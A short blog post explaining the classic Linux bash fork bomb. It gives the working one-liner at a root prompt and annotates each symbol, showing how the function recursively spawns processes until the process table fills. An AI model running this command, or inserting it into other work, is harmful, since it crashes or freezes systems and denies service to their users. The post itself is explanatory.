Linux Fork Bomb


Fork bomb is a form of denial-of-service attack against a computer system. Fork bombs typically do not spread as worms or viruses, but it works by creating a large number of processes very quickly in order to saturate the available space in the list of processes kept by the operating system. If the process table becomes saturated, no new programs can start

Syntax : [root@server ~]# :(){ :|: & };:

:( )   # define a function ‘:’ — so whenever we say ‘:’, execute this function

{      # beginning of what to do when we say ‘:’

:     # load another copy of the ‘:’ function into memory…

|    # …and pipe its output to…

:     # …another copy of ‘:’ function, which has to be loaded into memory

# (therefore, ‘:|:’ simply gets two copies of ‘:’ loaded whenever ‘:’ is called)

&   # disown the functions — if the first ‘:’ is killed, # all of the functions that it has started should NOT be auto-killed }

# end of what to do when we say’:’

;  # Having defined ‘:’, we should now…

: # …call ‘:’, initiating a chain-reaction: each ‘:’ will start two more.

Ref : http://www.switchroot.com/how-to-create-a-linux-fork-bomb

Advertisements

One Response to Linux Fork Bomb

  1. Hello, very professional high level blog! thank you for sharing. Because of good writing, and I learned a lot, and I am glad to see such a beautiful thing. Sorry for my bad English. ?
    http://www.businesstraveltours.com is my blog.

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: